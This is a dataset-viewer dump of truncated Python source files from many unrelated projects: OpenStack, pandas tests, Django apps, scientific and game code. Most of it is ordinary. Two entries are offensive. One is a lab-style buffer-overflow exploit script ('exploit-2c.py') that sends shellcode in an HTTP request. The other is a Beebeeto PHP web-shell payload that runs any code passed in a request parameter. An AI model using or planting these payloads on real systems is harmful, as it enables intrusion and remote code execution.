text stringlengths 6 947k | repo_name stringlengths 5 100 | path stringlengths 4 231 | language stringclasses 1
value | license stringclasses 15
values | size int64 6 947k | score float64 0 0.34 |
|---|---|---|---|---|---|---|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# GuessIt - A library for guessing information from filenames
# Copyright (c) 2011 Nicolas Wack <wackou@gmail.com>
#
# GuessIt is free software; you can redistribute it and/or modify it under
# the terms of the Lesser GNU General Public License as published by
# the Free ... | nabsboss/CouchPotatoServer | libs/guessit/language.py | Python | gpl-3.0 | 13,102 | 0.003207 |
# vim: tabstop=4 shiftwidth=4 softtabstop=4
# Copyright 2012 Midokura Japan K.K.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2... | rcbops/nova-buildpackage | nova/api/openstack/compute/contrib/server_start_stop.py | Python | apache-2.0 | 2,721 | 0 |
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
def populate_target_amount(apps, schema_editor):
Entry = apps.get_model("momentum", "Entry")
for entry in Entry.objects.all():
entry.target_amount = entry.goal.target_amount
entry.save()
... | mod2/momentum | momentum/migrations/0010_target_data_migration.py | Python | mit | 517 | 0.003868 |
"""Builder for websites."""
import string
from regolith.dates import date_to_float
doc_date_key = lambda x: date_to_float(
x.get("year", 1970), x.get("month", "jan")
)
ene_date_key = lambda x: date_to_float(
x.get("end_year", 4242), x.get("end_month", "dec")
)
category_val = lambda x: x.get("category", "<unca... | scopatz/regolith | regolith/sorters.py | Python | cc0-1.0 | 2,389 | 0.002093 |
#!/usr/bin/env python3
header = """
..
DO NOT EDIT: This file was automatically generated by running doc/acknowledge.py
Edit doc/acknowledge.py, doc/funding.csv, and doc/citing-pism.bib
"""
acknowledgement = """
Acknowledging PISM funding sources
----------------------------------
If you use PISM in a publica... | pism/pism | doc/acknowledge.py | Python | gpl-3.0 | 3,113 | 0.004497 |
# -*- coding: utf-8 -*-
# © 2016 Therp BV <http://therp.nl>
# License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl.html).
from psycopg2 import ProgrammingError
from openerp.modules.registry import RegistryManager
from openerp.tools import config
from openerp.tests.common import TransactionCase, at_install, post_... | be-cloud-be/horizon-addons | server-tools/database_cleanup/tests/test_database_cleanup.py | Python | agpl-3.0 | 4,939 | 0 |
from .howdoi import command_line_runner
command_line_runner()
| gleitz/howdoi | howdoi/__main__.py | Python | mit | 63 | 0 |
from django.core.urlresolvers import reverse
from django.test import TestCase
class SmokeTestMeanCoach(TestCase):
def test_index_page_returns_200(self):
resp = self.client.get(reverse('meancoach:index'))
assert resp.status_code == 200
| dev-coop/meancoach | meancoach_project/apps/meancoach/tests/smoke_tests.py | Python | mit | 258 | 0 |
#!/usr/bin/python
# coding: utf8
import os
import subprocess
from '{% if cookiecutter.namespace %}{{ cookiecutter.namespace }}.{{ cookiecutter.project_slug }}{% else %}{{ cookiecutter.project_slug }}{% endif %}'.commands.base import BaseCommand
from '{% if cookiecutter.namespace %}{{ cookiecutter.namespace }}.{{ cooki... | antoinedube/numeric-cookiecutter | {{cookiecutter.namespace+'.'+cookiecutter.project_slug}}/{{cookiecutter.project_slug}}/commands/configure.py | Python | gpl-3.0 | 571 | 0.003503 |
import sys
import re
import numpy as np
import json
import pickle
from string import ascii_letters
from keras.models import Sequential, model_from_json
from keras.layers import Dense, Activation, Dropout
from keras.layers import LSTM
from ivanatrumpalot import clean_text, predict, sample
# This code is heavily infl... | QCaudron/ivanatrumpalot | code/train_lstm.py | Python | mit | 5,169 | 0.003289 |
import os.path
import shutil
try:
import OWGUI
except ImportError:
print "Orange could not be imported."
try:
import pynopticon
except ImportError:
print "Pynopticon could not be imported, you need to install it first."
def link_to_orange():
orangeWidgetsPath = os.path.join(os.path.spli... | hksonngan/pynopticon | src/pynopticon/link_to_orange.py | Python | gpl-3.0 | 628 | 0.012739 |
from collections import defaultdict
def check_for_hits(planets, counts):
total = 0
for planet in planets():
if counts(planet):
total += 1
return total
def parse():
actions = {"U": (lambda: map_x[x], lambda j: j > y),
"D": (lambda: map_x[x], lambda j: j < y),
... | Krigu/python_fun | Pland1/Parser.py | Python | gpl-3.0 | 1,456 | 0.000687 |
# Create your views here.
from django.contrib.auth.decorators import login_required
from core.models import *
from django.http import HttpResponse
from core.services import watch_services
from django.utils.translation import ugettext as _
@login_required
def watchIssue(request, issue_id):
watch_services.watch_issu... | stonestone/stonefreedomsponsors | djangoproject/core/views/watch_views.py | Python | agpl-3.0 | 558 | 0.003584 |
from copy import deepcopy
from math import inf
from numbers import Number
from typing import List, Union
from abstract_domains.lattice import BottomMixin
from abstract_domains.numerical.numerical import NumericalMixin
from abstract_domains.state import State
from abstract_domains.store import Store
from core.expressio... | gitsimon/spadup-lyra | abstract_domains/numerical/interval_domain.py | Python | mpl-2.0 | 13,333 | 0.001876 |
# vim: tabstop=4 shiftwidth=4 softtabstop=4
# Copyright 2010-2011 OpenStack LLC.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache... | tylertian/Openstack | openstack F/glance/glance/__init__.py | Python | apache-2.0 | 733 | 0 |
import operator
import json
from django.shortcuts import render, get_object_or_404
from django.http import HttpResponse, HttpResponseRedirect
from .models import County, GuardianCounted, Geo, Item, Station, Crime, State
from .utilities import states, get_dollars_donated_by_year, format_money
from .utilities import get_... | Bringing-Buzzwords-Home/bringing_buzzwords_home | visualize/views.py | Python | mit | 8,056 | 0.005462 |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
# Copyright (C) 1998-2021 Stephane Galland <galland@arakhne.org>
#
# This program is free library; you can redistribute it and/or modify
# it under the terms of the GNU Lesser General Public License as
# published by the Free Software Foundation; either version 3 of the
... | gallandarakhneorg/autolatex | src/autolatex2/cli/commands/showconfigfiles.py | Python | lgpl-3.0 | 2,465 | 0.017039 |
import hashlib
from django.contrib.auth.models import Group
from django.db import models
USER_MODEL = 'auth.User'
class Organization( Group ):
'''
Umbrella object with which users are associated.
An organization can have multiple users.
'''
gravatar = models.EmailField( blank=True )
... | DHLabs/keep | keep_backend/organizations/models.py | Python | mit | 2,600 | 0.018846 |
from __future__ import absolute_import, unicode_literals
import sys
if sys.version_info > (3,):
from shutil import which
else:
from distutils.spawn import find_executable as which
from virtualenv.activation import NushellActivator
from virtualenv.info import IS_WIN
def test_nushell(activation_tester_class... | pypa/virtualenv | tests/unit/activation/test_nushell.py | Python | mit | 816 | 0.001225 |
#! /usr/bin/env python
# throxy.py - HTTP proxy to simulate dial-up access
# Copyright (c) 2007 Johann C. Rocholl <johann@browsershots.org>
#
# Permission is hereby granted, free of charge, to any person
# obtaining a copy of this software and associated documentation files
# (the "Software"), to deal in the Software w... | foligny/browsershots-psycopg2 | throxy/throxy.py | Python | gpl-3.0 | 19,293 | 0.001451 |
import logging
from datetime import timezone
import dateutil.parser
from sqlalchemy import and_, or_
from werkzeug.exceptions import Forbidden, NotFound, Unauthorized
from jarr.bootstrap import Base, session
logger = logging.getLogger(__name__)
def cast_to_utc(dt_obj):
dt_obj = dateutil.parser.parse(dt_obj)
... | jaesivsm/pyAggr3g470r | jarr/controllers/abstract.py | Python | agpl-3.0 | 5,796 | 0.000173 |
#! /usr/bin/env python
from distutils.core import setup, Extension
from distutils.util import get_platform
import shutil
import os, sys
def buil_all():
packages=['miasm2',
'miasm2/arch',
'miasm2/arch/x86',
'miasm2/arch/arm',
'miasm2/arch/aarch64',
... | chubbymaggie/miasm | setup.py | Python | gpl-2.0 | 6,252 | 0.006718 |
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
class Migration(migrations.Migration):
dependencies = [
('ictus', '0028_auto_20161212_1316'),
]
operations = [
migrations.AlterField(
model_name='basal',
name... | NavarraBiomed/seguimientoPacientes | ictus/migrations/0029_auto_20161212_1316.py | Python | gpl-2.0 | 852 | 0.00235 |
from typing import List
class Message(object):
class Origin(object):
servername: str
nickname: str
username: str
hostname: str
command: str
origin: Origin
params: List[str]
| LastAvenger/labots | labots/common/message.py | Python | gpl-3.0 | 223 | 0.004484 |
# -*- coding:utf-8 -*-
import zstackwoodpecker.test_util as test_util
import zstackwoodpecker.test_lib as test_lib
volume = test_lib.lib_get_specific_stub('e2e_mini/volume', 'volume')
volume_ops = None
vm_ops = None
volume_name = 'volume-' + volume.get_time_postfix()
backup_name = 'backup-' + volume.get_time_postfix... | zstackio/zstack-woodpecker | integrationtest/vm/e2e_mini/volume/test_volume_backup.py | Python | apache-2.0 | 1,389 | 0.00432 |
# Copyright 2016 Sotera Defense Solutions Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agre... | Sotera/aggregate-micro-paths | hive-streaming/conf/config.py | Python | apache-2.0 | 3,321 | 0.016561 |
"""
WSGI config for alex project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/1.10/howto/deployment/wsgi/
"""
import os
from django.core.wsgi import get_wsgi_application
os.environ.setdefault("DJANGO_SETTING... | xualex/DjangoTutorial | alex/alex/wsgi.py | Python | mit | 386 | 0 |
################################################################################
# This is a Cate configuration file. #
# #
# If this file is "~/.cate/conf.py", it is the active Cate configuration. ... | CCI-Tools/cate-core | cate/conf/template.py | Python | mit | 5,327 | 0.007509 |
# Copyright 2011 OpenStack LLC.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required b... | superstack/nova | nova/api/openstack/users.py | Python | apache-2.0 | 3,531 | 0.000283 |
from apgl.graph.AbstractMatrixGraph import AbstractMatrixGraph
from apgl.graph.AbstractVertexList import AbstractVertexList
from apgl.graph.GeneralVertexList import GeneralVertexList
from apgl.graph.VertexList import VertexList
from apgl.util.Util import Util
from apgl.util.SparseUtils import SparseUtils
fro... | charanpald/APGL | apgl/graph/SparseGraph.py | Python | bsd-3-clause | 19,320 | 0.008023 |
# -*- coding: utf-8 -*-
"""An implementation of the Zephyr Abstract Syntax Definition Language.
See http://asdl.sourceforge.net/ and
http://www.cs.princeton.edu/research/techreps/TR-554-97
Only supports top level module decl, not view. I'm guessing that view
is intended to support the browser and I'm not interested ... | shiquanwang/numba | numba/asdl/common/asdl.py | Python | bsd-2-clause | 13,170 | 0.001974 |
# -*- coding: utf-8 -*-
# Form implementation generated from reading ui file '/mnt/debris/devel/repo/git/luma-fixes/resources/forms/ServerDialogDesign.ui'
#
# Created: Wed May 25 21:41:09 2011
# by: PyQt4 UI code generator 4.8.3
#
# WARNING! All changes made in this file will be lost!
from PyQt4 import QtCore, Q... | khosrow/luma-devel | luma/base/gui/design/ServerDialogDesign.py | Python | gpl-2.0 | 36,277 | 0.003556 |
from cookies.resources.helpers import makeDropCookie, setNoCacheAndCORSHeaders
def main(request, response):
"""Respond to `/cookie/drop/secure` by dropping the two cookie set by
`setSecureTestCookies()`"""
headers = setNoCacheAndCORSHeaders(request, response)
# Expire the cookies, and return a JSON-en... | scheib/chromium | third_party/blink/web_tests/external/wpt/cookies/resources/dropSecure.py | Python | bsd-3-clause | 501 | 0.001996 |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Mon Sep 18 16:28:59 2017
@author: hase
2. Credit Card Number Check
Suppose you have been hired by MeisterCard to write a function
which checks if a given credit card number is valid.
Your function check(card_number) should take a string card_number as in... | pandastrail/InfoEng | scripting/exercises/p06_2.py | Python | gpl-3.0 | 1,641 | 0.007932 |
# -*- coding: utf-8 -*-
#
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
#... | danielvdende/incubator-airflow | airflow/api/auth/backend/default.py | Python | apache-2.0 | 1,051 | 0 |
import os
# ***********************************
# Settings common to all environments
# ***********************************
# Application settings
APP_NAME = "Game Valet"
APP_SYSTEM_ERROR_SUBJECT_LINE = APP_NAME + " system error"
# Flask settings
CSRF_ENABLED = True
# Flask-User settings
USER_APP_NAME = APP_NAME... | teirce/game-valet | app/startup/common_settings.py | Python | bsd-2-clause | 957 | 0.00209 |
from django.template.loader import get_template
from django.template import Context
from django.core.mail import EmailMultiAlternatives
from django.conf import settings
def generate_message_from_template(template, context):
context["STATIC_URL"] = settings.STATIC_URL
# Mandrill is set up to inline the CSS and genera... | dmschreiber/tapiriik | tapiriik/web/email.py | Python | apache-2.0 | 963 | 0.015576 |
import matplotlib.pyplot as plt
import operator
from math import log
import pickle
def calcShannonEnt(dataSet):
numEntries = len(dataSet)
labelCounts = {}
for fv in dataSet:
currentLabel = fv[-1]
if currentLabel not in labelCounts.keys():
labelCounts[currentLabel] = 0
l... | JNero/Machine-Learning-in-action | DicisionTree/trees.py | Python | apache-2.0 | 3,852 | 0.003375 |
#!/usr/bin/env python
#
# Copyright 2005,2007,2012 Free Software Foundation, Inc.
#
# This file is part of GNU Radio
#
# GNU Radio is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 3, or (at your ... | iohannez/gnuradio | gr-comedi/python/comedi/qa_comedi.py | Python | gpl-3.0 | 1,256 | 0.001592 |
#
# This file is subject to the terms and conditions defined in the
# file 'LICENSE', which is part of this source code package.
#
from collections import OrderedDict
from sqlalchemy import inspect
from sqlalchemy.engine import ResultProxy
from rdr_service.dao.base_dao import UpsertableDao
from rdr_service.model.reso... | all-of-us/raw-data-repository | rdr_service/dao/resource_dao.py | Python | bsd-3-clause | 2,900 | 0.001034 |
import unittest
from datetime import datetime
import numpy as np
import pandas as pd
from excel_helper.helper import DataSeriesLoader
class TestDataFrameWithCAGRCalculation(unittest.TestCase):
def test_simple_CAGR(self):
"""
Basic test case, applying CAGR to a Pandas Dataframe.
:return:... | dschien/PyExcelModelingHelper | tests/test_DataSeriesLoader.py | Python | mit | 3,547 | 0.003383 |
'''
View the coding live on Twitch @ https://www.twitch.tv/gmangavin and look at the github @ https://github.com/gmangavin/PyWeb
chromedriver for gui view, phantomjs for ghost view.
'''
import selenium.webdriver #Imports module
import time #Imports time
import threading #Imports threading, used to have multiple things... | gmangavin/PyMegle | Other Py/PyMegleTwo.py | Python | mit | 5,053 | 0.014843 |
import base64
import h5py
import math
import numpy as np
import os
import os.path as op
def array_to_hitile(
old_data, filename, zoom_step=8, chunks=(1e6,), agg_function=np.sum
):
"""
Downsample a dataset so that it's compatible with HiGlass (filetype: hitile, datatype: vector)
Parameters
-------... | hms-dbmi/clodius | clodius/tiles/hitile.py | Python | mit | 10,847 | 0.001106 |
# This code is so you can run the samples without installing the package
import sys
import os
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..'))
#
testinfo = "s, t 5, s, t 10.1, s, t 10.2, s, q"
tags = "spawn, Reverse"
import cocos
from cocos.director import director
from cocos.actions import Rotate, R... | eevee/cocos2d-mirror | test/test_spawn.py | Python | bsd-3-clause | 1,024 | 0.030273 |
import factory
from api import models
class ClientFactory(factory.DjangoModelFactory):
class Meta:
model = models.Client
name = 'Coaxis'
@factory.django.mute_signals(models.post_save)
class UserFactory(factory.DjangoModelFactory):
class Meta:
model = models.MyUser
email = factory.... | Coaxis-ASP/opt | backend/api/tests/factories.py | Python | gpl-3.0 | 1,150 | 0 |
import copy
from django.db.models.fields.related import ForeignKey, OneToOneField
from rest_framework import mixins
from rest_framework.generics import (
GenericAPIView, ListAPIView, ListCreateAPIView, RetrieveAPIView,
RetrieveUpdateDestroyAPIView
)
from api.generics.serializers import (
DynamicFieldsMode... | openaid-IATI/OIPA | OIPA/api/generics/views.py | Python | agpl-3.0 | 6,974 | 0.000143 |
#!/usr/bin/python
import sys
import socket
import traceback
import urllib
import struct
def build_exploit(shellcode):
req = "GET / HTTP/1.0\r\n" + \
"Evil: {evil}\r\n" + \
"Host: birk105.studby.uio.no:81\r\n\r\n"
# 536 is first address that causes the server to not return a valid response
req = req.rep... | nmahlangu/cs263-project-one | exploit-2c.py | Python | mit | 1,279 | 0.016419 |
# Rewritten by RayzoR
import sys
from com.l2scoria.gameserver.model.quest import State
from com.l2scoria.gameserver.model.quest import QuestState
from com.l2scoria.gameserver.model.quest.jython import QuestJython as JQuest
qn = "269_InventionAmbition"
class Quest (JQuest) :
def __init__(self,id,name,descr):
J... | zenn1989/scoria-interlude | L2Jscoria-Game/data/scripts/quests/269_InventionAmbition/__init__.py | Python | gpl-3.0 | 2,003 | 0.044433 |
#author: fyth
from webshell import *
class PhpShell(Webshell):
_password = 'cmd'
_content = "<?php var_dump(md5(123));@assert($_REQUEST['{0}']);?>"
_check_statement = 'var_dump(md5(123));'
_keyword = '202cb962ac59075b964b07152d234b70'
class PhpVerify(VerifyShell):
_content = "<?php var_dump(md... | jiangzhw/Beebeeto-framework | utils/payload/webshell/php.py | Python | gpl-2.0 | 400 | 0.005 |
from __future__ import absolute_import
import re, os, sys
from clay import app
import clay.config
from flask import make_response, request, redirect, render_template, url_for
from epubber.fimfic_epubgen import FimFictionEPubGenerator
site_epub_classes = [
FimFictionEPubGenerator
]
accesslog = clay.config.get... | revarbat/epubber | epubber/views/main.py | Python | bsd-2-clause | 2,968 | 0.003706 |
from django.apps import AppConfig
class PatronsConfig(AppConfig):
name = 'patrons'
| PrayAndGrow/server | patrons/apps.py | Python | lgpl-3.0 | 89 | 0 |
import pymongo
from pymongo.objectid import ObjectId
import pymongo.cursor
class MongoWrapper:
def __init__ (self, cursor, model = None):
if model:
if not cursor['public']:
if not auth.user.id == cursor['owner']:
raise HTTP (401)
self.__dict__['cursor... | dotskapes/dotSkapes | models/003_data_manager.py | Python | mit | 10,267 | 0.019382 |
##############################################################################
# Copyright (c) 2013-2018, Lawrence Livermore National Security, LLC.
# Produced at the Lawrence Livermore National Laboratory.
#
# This file is part of Spack.
# Created by Todd Gamblin, tgamblin@llnl.gov, All rights reserved.
# LLNL-CODE-64... | tmerrick1/spack | var/spack/repos/builtin/packages/cuda/package.py | Python | lgpl-2.1 | 3,901 | 0.001794 |
# accounts/authentication.py
import requests
import logging
from django.conf import settings
from django.contrib.auth import get_user_model
logger = logging.getLogger(__name__)
User = get_user_model()
PERSONA_VERIFY_URL = 'https://verifier.login.persona.org/verify'
#DOMAIN = 'localhost'
#DOMAIN = 'http://hotzenplot... | thomec/tango | accounts/authentication.py | Python | gpl-2.0 | 1,296 | 0.003086 |
import numpy as np
import matplotlib.pyplot as plt
x = np.arange(4)
y = x
t = [1.0,0.9,0.95,1.05]
s = np.array([1.0,0.9,0.95,1.05])*100
plt.scatter(x, y, c=t, s=s, alpha = 0.5)
plt.colorbar()
plt.show()
| jmmauricio/pypstools | dev/colormaps.py | Python | gpl-3.0 | 214 | 0.037383 |
from django.conf import settings
from django.db import models
from django.utils.translation import ugettext_lazy as _
from .fields import HexIntegerField
from .managers import APNSDeviceManager, GCMDeviceManager
try:
instapush_settings = settings.INSTAPUSH_SETTINGS
except AttributeError:
raise ImproperlyCon... | amyth/django-instapush | instapush/models/base.py | Python | mit | 2,928 | 0.006489 |
#
# @BEGIN LICENSE
#
# Psi4: an open-source quantum chemistry software package
#
# Copyright (c) 2007-2017 The Psi4 Developers.
#
# The copyrights for code used from other parties are included in
# the corresponding files.
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of ... | kratman/psi4public | psi4/driver/qcdb/periodictable.py | Python | gpl-2.0 | 78,237 | 0.013434 |
# -*- coding: utf-8 -*-
"""
calculate thermodynamics for Katja
"""
from component_contribution.kegg_reaction import KeggReaction
from component_contribution.kegg_model import KeggModel
from component_contribution.component_contribution import ComponentContribution
from component_contribution.thermodynamic_constants imp... | KatjaT/Thermodynamics | katja_thermo.py | Python | mit | 3,325 | 0.010827 |
"""
Python Interchangeable Virtual Instrument Library
Copyright (c) 2012-2017 Alex Forencich
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the... | alexforencich/python-ivi | ivi/agilent/agilentMSOX92804A.py | Python | mit | 1,692 | 0.004728 |
#! /usr/bin/python
# -*- coding: utf-8 -*-
from . import agent
# Import them to register agents.
from .rule_based import basic
__author__ = 'fyabc'
def get_agent_by_name(name):
return agent.Agent.AgentClasses[name]
__all__ = [
'get_agent_by_name',
]
| fyabc/MiniGames | HearthStone2/MyHearthStone/ai/standard.py | Python | mit | 265 | 0 |
#!/usr/bin/env python
from ethereum.tools import tester
from ethereum.tools.tester import TransactionFailed
from pytest import fixture, mark, raises
@fixture(scope='session')
def testerSnapshot(sessionFixture):
sessionFixture.uploadAndAddToController('solidity_test_helpers/ReentrancyGuardHelper.sol')
Reentran... | AugurProject/augur-core | tests/libraries/test_reentrancy_guard.py | Python | gpl-3.0 | 855 | 0.005848 |
''' Provides a command line application for Bokeh.
The following subcommands are available:
'''
from __future__ import absolute_import
def _build_docstring():
global __doc__
from . import subcommands
for cls in subcommands.all:
__doc__ += "%8s : %s\n" % (cls.name, cls.help)
_build_docstring()
d... | phobson/bokeh | bokeh/command/__init__.py | Python | bsd-3-clause | 340 | 0.005882 |
'''
Test ACS columns
'''
from tasks.util import shell
# TODO clean this up in a more general init script
try:
shell('createdb test')
except:
pass
from nose.tools import with_setup
from tasks.us.census.lodes import WorkplaceAreaCharacteristicsColumns
from tests.util import runtask, setup, teardown
@with_... | CartoDB/bigmetadata | tests/us/census/test_lodes.py | Python | bsd-3-clause | 423 | 0.004728 |
from functools import partial
from importlib import reload
from io import (
BytesIO,
StringIO,
)
import os
from pathlib import Path
import re
import threading
from urllib.error import URLError
import numpy as np
import pytest
from pandas.compat import is_platform_windows
from pandas.errors import ParserError
... | datapythonista/pandas | pandas/tests/io/test_html.py | Python | bsd-3-clause | 40,117 | 0.000773 |
# Copyright (c) 2014 Cisco Systems Inc.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless re... | CiscoSystems/nova-solver-scheduler | nova/scheduler/solvers/constraints/num_instances_constraint.py | Python | apache-2.0 | 2,244 | 0.001337 |
class Cluster:
"""
a cluster has N simulators
"""
def __init__(self,region_pool):
self.region_pool = region_pool
self.filepath = CLUSTER_DATA_DIR+"cluster"
# simulator list
self.simulator_list = []
def get_simulator_list(self):
return self.simulator_list
def get_simulator_count(self):
return len(s... | justasabc/kubernetes-ubuntu | ke/images/python/backup/backup_cluster.py | Python | apache-2.0 | 4,855 | 0.036663 |
'''
Created on 22 sept. 2015
@author: arxit
'''
import os
from qgis.core import *
from PyQt4.QtCore import QCoreApplication
import PagLuxembourg.main
class StylizeProject(object):
'''
Main class for the layers stylize widget
'''
def __init__(self):
'''
Constructor
'''
... | Geoportail-Luxembourg/qgis-pag-plugin | widgets/stylize/stylize.py | Python | mit | 2,046 | 0.012219 |
# This file is part of PyEMMA.
#
# Copyright (c) 2015, 2014 Computational Molecular Biology Group, Freie Universitaet Berlin (GER)
#
# PyEMMA is free software: you can redistribute it and/or modify
# it under the terms of the GNU Lesser General Public License as published by
# the Free Software Foundation, either versi... | markovmodel/PyEMMA | pyemma/coordinates/transform/tica.py | Python | lgpl-3.0 | 11,423 | 0.004465 |
#!/usr/bin/env python
#
# Use the raw transactions API to spend bitcoins received on particular addresses,
# and send any change back to that same address.
#
# Example usage:
# spendfrom.py # Lists available funds
# spendfrom.py --from=ADDRESS --to=ADDRESS --amount=11.00
#
# Assumes it will talk to a bitcoind or Bit... | DavidSantamaria/Om | contrib/spendfrom/spendfrom.py | Python | mit | 10,053 | 0.005968 |
# Copyright 2013 Hewlett-Packard Development Company, L.P.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless requir... | zouyapeng/horizon-newtouch | openstack_dashboard/dashboards/identity/groups/tables.py | Python | apache-2.0 | 7,450 | 0 |
#!/usr/bin/env python
# This is a demonstration of how to compute S2 order parameters from bond vector correlation functions.
# The S2 estimation is done with the method described in:
# Trbovic et al. Proteins (2008). doi:10.1002/prot.21750
from __future__ import print_function, division
import sys, os, glob
import M... | schilli/MOPS | MOPS/demo/demo_mean.py | Python | gpl-3.0 | 1,694 | 0.013577 |
from optparse import OptionParser
from application.database import global_db
from application.setup import create_app, setup_database, register_blueprints, load_cluster_config
from core.job.models import Job
from core.monitoring.models import JobPerformance
from core.tag.models import JobTag, Tag
from modules.autotag.... | srcc-msu/job_statistics | tagit.py | Python | mit | 1,689 | 0.03138 |
import theano
import numpy as np
from sklearn.preprocessing import OneHotEncoder
from sklearn import cross_validation, metrics, datasets
from neupy import algorithms, layers, environment
environment.reproducible()
theano.config.floatX = 'float32'
mnist = datasets.fetch_mldata('MNIST original')
target_scaler = OneHo... | stczhc/neupy | examples/gd/mnist_cnn.py | Python | mit | 1,657 | 0 |
from ceph_deploy.hosts.alt.install import map_components, NON_SPLIT_PACKAGES
class TestALTMapComponents(object):
def test_valid(self):
pkgs = map_components(NON_SPLIT_PACKAGES, ['ceph-osd', 'ceph-common', 'ceph-radosgw'])
assert 'ceph' in pkgs
assert 'ceph-common' in pkgs
assert 'c... | ceph/ceph-deploy | ceph_deploy/tests/unit/hosts/test_altlinux.py | Python | mit | 379 | 0.002639 |
import asyncio
from functools import partial
import gc
import subprocess
import sys
from time import sleep
from threading import Lock
import unittest
import weakref
from distutils.version import LooseVersion
from tornado.ioloop import IOLoop
import tornado
from tornado.httpclient import AsyncHTTPClient
import pytest
... | blaze/distributed | distributed/deploy/tests/test_local.py | Python | bsd-3-clause | 29,495 | 0.000712 |
"""
Human cortical neuron using A-current model in reduced, 2D version of Hodgkin-Huxley model
Section 9.5
"""
from __future__ import division
from PyDSTool import *
from PyDSTool.Toolbox.phaseplane import *
from common_lib import *
import Ch9_HH_red
import Ch9_HH
gentype='vode' # dopri, euler, etc.
# Parameter An =... | robclewley/compneuro | Ch9_HH_compare.py | Python | bsd-3-clause | 1,267 | 0.007893 |
from django import template
from filemanager.models import fileobject
from django.shortcuts import get_object_or_404, render_to_response
from django.template.loader import render_to_string
from django.contrib.contenttypes.models import ContentType
register = template.Library()
def raw_text(context):
project=cont... | Rhombik/rhombik-object-repository | searchsettings/templatetags/addSearchContext.py | Python | agpl-3.0 | 669 | 0.014948 |
from __future__ import annotations
from django.db.backends.base.schema import BaseDatabaseSchemaEditor
from django.db.migrations.operations.base import Operation
from django.db.migrations.state import ModelState
from django.utils.functional import cached_property
class InstallPlugin(Operation):
reduces_to_sql = ... | adamchainz/django-mysql | src/django_mysql/operations.py | Python | mit | 5,386 | 0.000928 |
OPEN = "mate-open"
FILE_MANAGER = "caja"
| hanya/BookmarksMenu | pythonpath/bookmarks/env/mate.py | Python | apache-2.0 | 42 | 0 |
#!/usr/bin/python2.7
print "__init__"
# __all__ = ['p2']
from big import *
| qrsforever/workspace | python/learn/base/module/l1/pack/__init__.py | Python | mit | 78 | 0.012821 |
PROJECT_DEFAULTS = 'Project Defaults'
PATHS = 'Paths'
_from_config = {
'author': None,
'email': None,
'license': None,
'language': None,
'type': None,
'parent': None,
'vcs': None,
'footprints': None
}
_from_args = {
'name': None,
'author': None,
'email': None,
'license'... | shaggytwodope/progeny | validators.py | Python | gpl-3.0 | 3,149 | 0 |
# coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
#
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes ... | sharadagarwal/autorest | AutoRest/Generators/Python/Python.Tests/Expected/AcceptanceTests/Http/autoresthttpinfrastructuretestservice/operations/http_retry.py | Python | mit | 13,601 | 0.000588 |
#
# main.py: a shared, automated test suite for Subversion
#
# Subversion is a tool for revision control.
# See http://subversion.tigris.org for more information.
#
# ====================================================================
# Licensed to the Apache Software Foundation (ASF) under one
# or more cont... | centic9/subversion-ppa | subversion/tests/cmdline/svntest/main.py | Python | apache-2.0 | 78,919 | 0.01219 |
"""Support for Subaru sensors."""
import subarulink.const as sc
from homeassistant.components.sensor import DEVICE_CLASSES
from homeassistant.const import (
DEVICE_CLASS_BATTERY,
DEVICE_CLASS_TEMPERATURE,
DEVICE_CLASS_VOLTAGE,
LENGTH_KILOMETERS,
LENGTH_MILES,
PERCENTAGE,
PRESSURE_HPA,
T... | partofthething/home-assistant | homeassistant/components/subaru/sensor.py | Python | apache-2.0 | 7,898 | 0.000886 |
# flake8: noqa
from __future__ import absolute_import
from .filterset import FilterSet
from .filters import *
__version__ = '0.9.2'
def parse_version(version):
'''
'0.1.2-dev' -> (0, 1, 2, 'dev')
'0.1.2' -> (0, 1, 2)
'''
v = version.split('.')
v = v[:-1] + v[-1].split('-')
ret = []
fo... | andela-bojengwa/talk | venv/lib/python2.7/site-packages/django_filters/__init__.py | Python | mit | 485 | 0.002062 |
import re
with open('d07.txt') as f:
raw_input = f.readlines()
test_input = """abba[mnop]qrst
abcd[bddb]xyyx
aaaa[qwer]tyui
ioxxoj[asdfgh]zxcvbn
asdfasdf[qwerqwer]asdffdsa[12341234]zcxvzcv""".splitlines()
def group_finder(s):
head, _, tail = s.partition('[')
yield head
if tail:
yield from gr... | sclarke/adventofcode2016 | d07.py | Python | bsd-3-clause | 1,196 | 0.001672 |
################################################################################
# The Frenetic Project #
# frenetic@frenetic-lang.org #
